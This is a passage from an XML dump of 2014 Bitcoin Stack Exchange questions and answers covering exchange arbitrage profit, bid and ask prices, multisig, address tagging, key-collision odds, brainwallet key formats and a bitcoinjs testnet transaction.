0.0000038 = 0.0000038 BTC) &#xA;&#xA;buy_txn_fee =  Total * buy_ex_txn_fee (buy_txn_fee  =  0.0000038 * 0. 002 = 0.000000008  BTC)&#xA;&#xA;buy_order_Net_total =   Total +  buy_txn_fee (buy_order_Net_total = 0.000003808 BTC)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Sell order:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Total = sell_amount * sell_price (Total = 1 * 0.0000042 = 0.0000042 BTC) &#xA;&#xA;sell_txn_fee =  Total * sell_ex_txn_fee (sell_txn_fee  =  0.0000038 * 0. 0015 = &#xA;0.000000006  BTC)&#xA;&#xA;sell_order_Net_total =   Total - sell_txn_fee (sell_order_Net_total =  0.000004194 BTC)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Profit:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; Profit =   sell_order_net_total – buy_order_net_total (Profit =0.000004194 BTC -  0.000003808  BTC = 0.000000386 BTC)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Case (2): (For the same DOGE/BTC market buy transaction fee in terms of BTC(cryptsy) and sell transaction fee in terms of DOGE(Bter))&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Buy Exchange = Cryptsy&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sell Exchange =  Bter&lt;/p&gt;&#xA;&#xA;&lt;p&gt;buy amount = 1 DOGE&lt;/p&gt;&#xA;&#xA;&lt;p&gt;sell  amount = 1 DOGE&lt;/p&gt;&#xA;&#xA;&lt;p&gt;buy price =  0.0000038 BTC&lt;/p&gt;&#xA;&#xA;&lt;p&gt;sell price =   0.0000042 BTC&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;buy_ex_txn_fee = 0. 002  BTC (0.2%)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;sell_ex_txn_fee  = 0. 0018 DOGE (0.18%)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Buy order:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Total = buy_amount * buy_price (Total = 1 * 0.0000038 = 0.0000038 BTC) &#xA;&#xA;buy_txn_fee =  Total * buy_ex_txn_fee (buy_txn_fee  =  0.0000038 * 0. 002 = 0.000000008  BTC)&#xA;&#xA;buy_order_Net_total =   Total +  buy_txn_fee (buy_order_Net_total = 0.000003808 BTC)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Sell order:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Total = sell_amount * sell_price (Total = 1 * 0.0000042 = 0.0000042 BTC) &#xA;&#xA;**// sell_ex_txn_fee is in terms of DOGE. How should I calculate profit?**&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Profit:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Profit = ???&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Am I heading in correct direction? Is there any other easiest way to calculate profit? If possible kindly explain me with sequence of steps?&lt;/p&gt;&#xA;" OwnerUserId="12634" LastEditorUserId="5406" LastEditDate="2016-01-20T21:10:47.510" LastActivityDate="2021-04-03T04:55:43.373" Title="Calculation of arbitrage profit" Tags="|exchanges|arbitrage|exchange-fees|currencies|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="28264" PostTypeId="2" ParentId="28240" CreationDate="2014-07-02T09:02:38.930" Score="2" Body="&lt;p&gt;I took a look &lt;a href=&quot;https://stackoverflow.com/a/1984225&quot;&gt;this&lt;/a&gt;. Bitcoin doesn't reply fit any of these perfectly, but I think it is a URI in that it uniquely identifies a Bitcoin account. The issue is that Bitcoin doesn't really have a location function. I suppose you could say that you can locate Bitcoin address history, but that's not really the purpose of a &lt;code&gt;bitcoin:&lt;/code&gt; link. I'm going to say no, it is not a URL. It is however a URN.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: &lt;code&gt;mailto:&lt;/code&gt; is a URL the same way a HTTP URL is. It has a domain name and states the location for sending something. Given this example, I'll change my answer to yes.&lt;/p&gt;&#xA;" OwnerUserId="6990" LastEditorUserId="-1" LastEditDate="2017-05-23T12:34:59.703" LastActivityDate="2014-07-03T07:38:31.357" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28265" PostTypeId="1" CreationDate="2014-07-02T10:44:27.907" Score="0" ViewCount="6215" Body="&lt;p&gt;I am trying to create a graph to moniter order data, similar to:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.cryptocoincharts.info/orderbook.php?pair=pc-btc&amp;amp;market=bittrex&quot; rel=&quot;nofollow&quot;&gt;http://www.cryptocoincharts.info/orderbook.php?pair=pc-btc&amp;amp;market=bittrex&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using the cryptsy api (&lt;a href=&quot;http://pubapi.cryptsy.com/api.php?method=orderdatav2&quot; rel=&quot;nofollow&quot;&gt;http://pubapi.cryptsy.com/api.php?method=orderdatav2&lt;/a&gt;) to fetch all the order data and for each coins it returns some thing like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;          &quot;price&quot;: &quot;395.00000000&quot;,&#xA;          &quot;quantity&quot;: &quot;0.00100000&quot;,&#xA;          &quot;total&quot;: &quot;0.39500000&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The question that I have is, is there any formula or some thing to calculate &lt;code&gt;bid&lt;/code&gt; and &lt;code&gt;ask&lt;/code&gt;, so that I can plot the graph?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="18453" LastEditorUserId="15412" LastEditDate="2014-07-14T14:33:39.347" LastActivityDate="2017-08-09T15:05:37.200" Title="How is BID and ASK Calculated for crypto currencies?" Tags="|api|cryptsy|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28266" PostTypeId="2" ParentId="28265" CreationDate="2014-07-02T10:53:04.627" Score="1" Body="&lt;p&gt;Generally, the ask price displayed by the exchanges is the sell order at the lowest price. Ask is another way of saying sell. So Ask order = Sell order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The same for bid orders. The bid price is the buy order at the highest price.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Speaking for the result of the below API call:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://pubapi.cryptsy.com/api.php?method=orderdatav2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The order with lowest price among the &quot;sellorders&quot; is the Ask.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The order with the highest price among the &quot;buyorders&quot; is the Bid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is true for any trading pair.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There seems to be pairs where &quot;buyorders&quot; is null. That is either an error on their part or there are no bids for those pairs.&lt;/p&gt;&#xA;" OwnerUserId="2995" LastActivityDate="2014-07-02T10:53:04.627" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28267" PostTypeId="2" ParentId="23803" CreationDate="2014-07-02T10:56:38.383" Score="2" Body="&lt;p&gt;&lt;strong&gt;Multi-signature&lt;/strong&gt; is a feature to protect against theft.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.org/en/secure-your-wallet&quot; rel=&quot;nofollow&quot;&gt;From securing your wallet&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Bitcoin includes a multi-signature feature that allows a transaction&#xA;  to require the signature of more than one private key to be spent. It&#xA;  is currently only usable for technical users but a greater&#xA;  availability for this feature can be expected in the future.&#xA;  Multi-signature can, for example, allow an organization to give access&#xA;  to its treasury to its members while only allowing a withdrawal if 3&#xA;  of 5 members sign the transaction. It can also allow future online&#xA;  wallets to share a multi-signature address with their users, so that a&#xA;  thief would need to compromise both your computer and the online&#xA;  wallet servers in order to steal your funds.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Traditional Bitcoin addresses are secured with a single private key. P2SH addresses can associated with three private keys. Depositing funds into is the same as depositing funds into a standard Bitcoin address. However, withdrawing funds from the address requires at least 2 of the 3 keys to sign.&lt;/p&gt;&#xA;" OwnerUserId="12785" LastActivityDate="2014-07-02T10:56:38.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28268" PostTypeId="2" ParentId="28263" CreationDate="2014-07-02T11:58:32.747" Score="3" Body="&lt;p&gt;The formula for &lt;code&gt;sell_order_Net_total&lt;/code&gt; will be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; sell_order_Net_total = sell_amount * sell_price * (1- sell_ex_txn_fee)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The final profit:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Profit = sell_order_Net_total - buy_order_Net_total&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Keep in mind that there are also transaction fees between the two exchanges. If you have traded all your DOGEs for BTC on 1 exchange, and BTC for DOGEs on the other, you'll want to mix both accounts with an equal amount of DOGE/BTC. The transaction fees should also be accounted for if you want to trade between exchanges.&lt;/p&gt;&#xA;" OwnerUserId="15412" LastActivityDate="2014-07-02T11:58:32.747" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28269" PostTypeId="1" AcceptedAnswerId="28279" CreationDate="2014-07-02T13:18:53.637" Score="1" ViewCount="277" Body="&lt;p&gt;I was reading this paper &#xA;&lt;a href=&quot;https://web.archive.org/web/20140331191527/http://bitcoinhistory.net/Technical_Papers/ProgrammingBitcoinTransactionScripts.pdf&quot; rel=&quot;nofollow&quot;&gt;https://web.archive.org/web/20140331191527/http://bitcoinhistory.net/Technical_Papers/ProgrammingBitcoinTransactionScripts.pdf&lt;/a&gt;&#xA;and I have the following question:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ScriptPubKey accompanies a transaction output and specifies under which conditions it can be claimed. ScriptSig accompanies a transaction input and is used to prove that the referenced output can be rightfully claimed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in page 2 the ScriptSig should be in Input TX and ScriptPubKey should be in output TX? Author says that scriptA is ScriptSig. &lt;/p&gt;&#xA;" OwnerUserId="10246" LastEditorUserId="2306" LastEditDate="2015-06-21T03:42:50.137" LastActivityDate="2015-06-21T03:42:50.137" Title="What part of the transaction is scriptSig in?" Tags="|script|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28270" PostTypeId="1" CreationDate="2014-07-02T14:27:34.440" Score="1" ViewCount="213" Body="&lt;p&gt;Hi im using block chain send api in my web application, and it is working fine without any issues. My requirements is when the payment is done thought blockchain send api, is it possible to concat our website url with custom name in the transaction?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this address &lt;code&gt;https://blockchain.info/address/1H7FMLas2d7HqSstx8xVDMURvWphv4bnFd&lt;/code&gt; user has concatinated his website name with url.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can i do the same using send api?&lt;/p&gt;&#xA;" OwnerUserId="17010" LastActivityDate="2014-07-03T01:56:22.723" Title="how to concat our website url in our bit coin transaction in blockchain send api" Tags="|api|blockchain.info|message|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28271" PostTypeId="1" AcceptedAnswerId="28272" CreationDate="2014-07-02T15:14:48.143" Score="2" ViewCount="168" Body="&lt;p&gt;Lets assume I keep generating random public keys with their matching private keys and never use them.&#xA;Severals years later I am checking for positive match against the blockchain for all my generated public keys.&#xA;If a match is found that means someone is actually using a public key I generated in the past and for which I know the private key.&#xA;I should then be able to gain control over someone else wallet even in the case of a paper or brain wallet.&#xA;Best regards,&lt;/p&gt;&#xA;" OwnerUserId="18454" LastActivityDate="2014-07-02T15:30:02.097" Title="Bitcoin security, what is wrong with my thinking?" Tags="|security|" AnswerCount="1" CommentCount="0" ClosedDate="2014-07-03T08:05:50.633" ContentLicense="CC BY-SA 3.0" />
  <row Id="28272" PostTypeId="2" ParentId="28271" CreationDate="2014-07-02T15:22:56.420" Score="2" Body="&lt;p&gt;Thats right, if you got the private key you got access to the bitcoins on it. You dont even need to wait until someone starts using this key, you could also randomly find a key which is already in use by someone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;BUT:&lt;/strong&gt;&lt;br&gt;&#xA;Bitcoin addresses are 160 bit hashes of the 256 bit private keys, so there are 2^160 or about 1.460.000.000.000.000.000.000.000.000.000.000.000.000.000.000.000 possible addresses. You will notice thats the possibility is pretty much nil.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more information you can read this article: &lt;a href=&quot;http://www.miguelmoreno.net/bitcoin-address-collision/&quot; rel=&quot;nofollow&quot;&gt;http://www.miguelmoreno.net/bitcoin-address-collision/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="17113" LastActivityDate="2014-07-02T15:22:56.420" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="28273" PostTypeId="2" ParentId="19274" CreationDate="2014-07-02T15:26:39.970" Score="1" Body="&lt;p&gt;How many addresses can bitcoind reasonably manage?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it is not the amount of addresses that matters but the amount of transactions going in and out of those addresses that can stress out the server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it a good idea to create tons of addresses and have bitcoind watch all of them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have it nicely organized in a database or some other file then go for it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How often should I 'flush' the wallet? It doesn't make sense to me to keep the same wallet all the time since that file will grow huge in time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;someone stated I have a wallet with many transactions. It's around 200M. and each wallet flushing takes 4 seconds and blocks JSON RPC calls. from github. So unless you pass 200M transactions do not worry about flushing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in regards for your second part why not use an open source bitcoin front end such as coiniv. That way you do not have to worry about the customer generating new bitcoin addresses you just inegrate it with coiniv which already has an api&lt;/p&gt;&#xA;" OwnerUserId="15645" LastActivityDate="2014-07-02T15:26:39.970" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28275" PostTypeId="2" ParentId="28212" CreationDate="2014-07-02T20:37:04.663" Score="2" Body="&lt;p&gt;This &lt;a href=&quot;https://bitcointalk.org/index.php?topic=225690.0&quot; rel=&quot;nofollow&quot;&gt;post&lt;/a&gt; on bitcointalk is a good starting point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The basic idea is to:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;fork an existing coin&lt;/li&gt;&#xA;&lt;li&gt;Customize some values (block reward, block time, hash algorithm, etc.)&lt;/li&gt;&#xA;&lt;li&gt;Boot strap the coin by mining then encoding some checkpoints.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="841" LastActivityDate="2014-07-02T20:37:04.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28277" PostTypeId="2" ParentId="6062" CreationDate="2014-07-03T01:07:59.287" Score="2" Body="&lt;p&gt;I want to point out a quick possibly important point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As other answers have mentioned &lt;strong&gt;&lt;em&gt;current&lt;/em&gt;&lt;/strong&gt; implementations of Bitcoin could be compromised by a quantum computer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, Quantum Computers do not solve &lt;strong&gt;&lt;em&gt;all&lt;/em&gt;&lt;/strong&gt; known classically hard problems and so any cryptography that is based on problems that are also difficult for a Quantum Computer to solve should work just as fine as classical crypto which also lives under the existential threat of someone discovering a polynomial time algorithm for factoring and similar problems.&lt;/p&gt;&#xA;" OwnerUserId="18458" LastActivityDate="2014-07-03T01:07:59.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28278" PostTypeId="2" ParentId="28270" CreationDate="2014-07-03T01:56:22.723" Score="1" Body="&lt;h2&gt;Address Tag&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;There are two ways I know of to tag an address on blockchain.info but both require a captcha so I don't think you can do it in an automated way. But the tag applies to the whole address, not a specific transaction. So if you have a small number of addresses, you can tag them all so that all your transactions will have the link. If you are automatically generating addresses, that would be hard.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first way is with a &lt;a href=&quot;https://blockchain.info/tags?form_type=0&quot; rel=&quot;nofollow&quot;&gt;signed message&lt;/a&gt;. You sign their specific message and send it to them. That means only you can tag your address this way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;https://blockchain.info/tags?form_type=1&quot; rel=&quot;nofollow&quot;&gt;second way is if an address is viewable on a website&lt;/a&gt;, then anyone can come along and tag the address so it links to that page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These will allow you to make it look like the &quot;DPR Seized Coins 2&quot; in your example.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Public Note&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;A separate thing is to use a public note like this message in your example: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;WTF??? What is it??? Is this guy CAN CLONE BTC? OR COPY BTC? Is it real? WTF??? Somebody can explain??? WTF!! I found this: &lt;a href=&quot;http://sharma.binhoster.com&quot; rel=&quot;nofollow&quot;&gt;http://sharma.binhoster.com&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;A note applies to a specific transaction, not an entire address. Also it does not require a captcha so it can be automated. But it can't have clickable links. &lt;a href=&quot;https://blockchain.info/api/blockchain_wallet_api&quot; rel=&quot;nofollow&quot;&gt;Here's information on how to do that.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12990" LastActivityDate="2014-07-03T01:56:22.723" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28279" PostTypeId="2" ParentId="28269" CreationDate="2014-07-03T02:13:42.157" Score="1" Body="&lt;p&gt;I was confused by that too. Here's the picture with some more labels on it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sdH6r.png&quot; alt=&quot;labeled better&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12990" LastActivityDate="2014-07-03T02:13:42.157" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28280" PostTypeId="1" CreationDate="2014-07-03T03:29:15.567" Score="3" ViewCount="1841" Body="&lt;p&gt;We spent some time doing the visualization of the transaction flow between bitcoin wallets &lt;a href=&quot;https://bitviz.visalyze.com&quot; rel=&quot;nofollow&quot;&gt;https://bitviz.visalyze.com&lt;/a&gt; and wanted to know if there are any tools that can not only track, but also visualize where the transactions are coming from and going to?&lt;/p&gt;&#xA;" OwnerUserId="18459" LastEditorUserId="18459" LastEditDate="2014-07-03T07:24:10.517" LastActivityDate="2014-07-03T07:24:10.517" Title="Are there any tools to visualize where the transactions are coming from and going to?" Tags="|transactions|wallet|network|legal|tools|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28281" PostTypeId="2" ParentId="28103" CreationDate="2014-07-03T04:10:22.900" Score="0" Body="&lt;p&gt;To read QRs, download &lt;a href=&quot;http://webqr.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;this website&lt;/a&gt; and open it. It worked locally offline for me in Firefox. Chrome was a little harder because it blocks the webcam from &lt;code&gt;file:///&lt;/code&gt; urls. I got it to work with &lt;a href=&quot;https://stackoverflow.com/questions/16835421/how-to-allow-chrome-to-access-my-camera-on-localhost&quot;&gt;this&lt;/a&gt; but it requires python to be installed.&lt;/p&gt;&#xA;" OwnerUserId="12990" LastEditorUserId="-1" LastEditDate="2017-05-23T12:34:59.703" LastActivityDate="2014-07-03T04:10:22.900" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28282" PostTypeId="2" ParentId="28280" CreationDate="2014-07-03T04:28:22.427" Score="1" Body="&lt;p&gt;Blochchain.info also offers a virtuaisation of transactions, called tree chart. It can be view for every transaction over the &quot;View Tree Chart&quot; link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wljTM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example: &lt;a href=&quot;https://blockchain.info/tree/59587897&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blockchain.info/tree/59587897&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The link you posted seems to be offline, so I'm not sure if it's this sort of visualization you are looking for.&lt;/p&gt;&#xA;" OwnerUserId="17113" LastActivityDate="2014-07-03T04:28:22.427" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28284" PostTypeId="1" AcceptedAnswerId="28312" CreationDate="2014-07-03T07:24:10.177" Score="3" ViewCount="75" Body="&lt;p&gt;The background of this question is wether the distribution of the block generation does matter? Lets say we have a period of 12 weeks. If the number of blocks created in this time is 6*2016 then the difficulty should not change. If the number of blocks is (6*2016)*1,1 (10% more) the difficulty what have risen 6 times by 10%. This both statements should be true if the generation of the blocks is (more or less) equally distributed over the time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wonder now if this is true for different distributions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know there are this limits in difficulty adjustment (4 and 1/4) but if they are not reached it should be possible?&lt;/p&gt;&#xA;" OwnerUserId="1853" LastEditorUserId="1853" LastEditDate="2014-07-03T19:33:37.430" LastActivityDate="2014-07-05T15:38:23.630" Title="Is it possible to calculate the difficulty purely by the number of blocks generated in e.g. 3 month and the staring difficulty?" Tags="|difficulty|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28285" PostTypeId="2" ParentId="28284" CreationDate="2014-07-03T09:10:04.287" Score="2" Body="&lt;p&gt;You should know the current difficulty to adjust the next value.&#xA;It can not be found only by number of blocks for past 3 monthes&lt;/p&gt;&#xA;" OwnerUserId="12983" LastActivityDate="2014-07-03T09:10:04.287" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28286" PostTypeId="1" AcceptedAnswerId="28287" CreationDate="2014-07-03T10:03:15.413" Score="1" ViewCount="209" Body="&lt;p&gt;I'm somewhat confused re compressed addresses...&#xA;Assuming I were to make a brainwallet using &quot;correct horse battery staple&quot; as my passphrase gives &lt;a href=&quot;https://blockchain.info/address/1JwSSubhmg6iPtRjtyqhUYYH7bZg3Lfy1T&quot; rel=&quot;nofollow&quot;&gt;1JwSSubhmg6iPtRjtyqhUYYH7bZg3Lfy1T&lt;/a&gt; (uncompressed pubkey) &amp;amp; &lt;a href=&quot;https://blockchain.info/address/1C7zdTfnkzmr13HfA2vNm5SJYRK6nEKyq8&quot; rel=&quot;nofollow&quot;&gt;1C7zdTfnkzmr13HfA2vNm5SJYRK6nEKyq8&lt;/a&gt; (compressed pubkey).&#xA;Both show evidence of being plundered by bots &quot;watching&quot; easy targets like these.&#xA;But which is the &lt;strong&gt;standard&lt;/strong&gt;? ie Is uncompressed or compressed key the preferred format? A better way to phrase this is...&#xA;&lt;strong&gt;&lt;em&gt;&quot;What format of key will be used going forward; compressed, uncompressed, or a combination?&quot;&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="9382" LastActivityDate="2014-07-03T10:19:32.587" Title="Compressed keys default for brainwallet?" Tags="|address|public-key|brain-wallet|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28287" PostTypeId="2" ParentId="28286" CreationDate="2014-07-03T10:19:32.587" Score="3" Body="&lt;p&gt;The compressed keys are better for use.&#xA;Because the redeem transaction size will be smaller, so one can save a fee.&#xA;Unfortunately, the original design of brainwallets created uncompressed keys. &#xA;And now this setting is default.&#xA;It is too late to change the default behavior of this.&#xA;Let us say that &quot;uncompressed&quot; keys are standard de-facto.&lt;/p&gt;&#xA;" OwnerUserId="12983" LastActivityDate="2014-07-03T10:19:32.587" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28288" PostTypeId="1" CreationDate="2014-07-03T12:55:07.693" Score="2" ViewCount="287" Body="&lt;p&gt;I'm new to bitcoin programming and decided to give it a try with the release of bitcoinjs-lib 1.0. Here is how I generate the hex for the transaction&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var bitcoin = require('bitcoinjs-lib');&#xA;&#xA;var key = bitcoin.ECKey.fromWIF(&quot;cS4fb6sHrJ2VrfqRNBkk6eHMCB5PY6Bayyo695VaSdfZLMbPZiGv&quot;);&#xA;var tx = new bitcoin.Transaction();&#xA;&#xA;tx.addInput(&quot;129aa78e5649715ecc7121aee0cdba06527061976be9c38c3a9fd9ae258665c3&quot;, 0);&#xA;tx.addOutput(&quot;msj42CCGruhRsFrGATiUuh25dtxYtnpbTx&quot;, 15000)&#xA;&#xA;tx.sign(0, key)&#xA;&#xA;console.log(tx.toHex())&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and here is the hex output&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0100000001c3658625aed99f3a8cc3e96b9761705206bacde0ae2171cc5e7149568ea79a12000000006b483045022100e807c222e6f53795d1fa5fcef7e50176e5a2cd9c164a9c955a5e717544a0ef250220743c40908d190bd13c407b8dbbf0dd2d685858c34bc998ee99e4de9f4e9eb2830121023cb4fea046a3747ee2e966ac382435cfca4570f959bcccb6b680fdcc812e15b9ffffffff01983a0000000000001976a91485eb47fe98f349065d6f044e27a4ac541af79ee288ac00000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I looked through the lib but couldn't find where to inject the bitcoin.networks.testnet object and the documentation is empty&lt;/p&gt;&#xA;" OwnerUserId="18461" LastActivityDate="2018-05-22T05:38:37.480" Title="Error pushing hex of tx, generated with bitcoinjs 1.0, on testnet" Tags="|testnet|bitcoinjs|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28289" PostTypeId="2" ParentId="28288" CreationDate="2014-07-03T13:18:49.627" Score="1" Body="&lt;p&gt;Everything is fine with your tx.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here it is: &lt;a href=&quot;http://test.webbtc.com/tx/034dfa392aa7ea46bc0917cdaa2794a5f03e6f935b6518a103cb0f5e923a05be&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://test.webbtc.com/tx/034dfa392aa7ea46bc0917cdaa2794a5f03e6f935b6518a103cb0f5e923a05be&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've pushed it to the network with this form: &lt;a href=&quot;http://test.webbtc.com/relay_tx&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://test.webbtc.com/relay_tx&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12983" LastEditorUserId="23159" LastEditDate="2018-05-22T05:38:37.480" LastActivityDate="2018-05-22T05:38:37.480" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28290" PostTypeId="1" AcceptedAnswerId="28360" CreationDate="2014-07-03T15:13:02.177" Score="2" ViewCount="66" Body="&lt;p&gt;What is the deadline text field for in NXT register alias? &lt;/p&gt;&#xA;" OwnerUserId="3029" LastEditorUserId="2306" LastEditDate="2014-08-22T19:53:33.850" LastActivityDate="2014-08-22T19:53:33.850" Title="In the NXT register alias dialog pop up, what is the DEADLINE text field for?" Tags="|nxt|alias|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28291" PostTypeId="1" CreationDate="2014-07-03T15:15:33.847" Score="0" ViewCount="71" Body="&lt;p&gt;Since NXT aliases are like domain names. Do they expire? Currently alot of people are squatting aliases and was wondering how the NXT community plan on fighting that? &lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2014-07-07T12:12:25.740" Title="Do NXT aliases expire? And when?" Tags="|nxt|alias|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
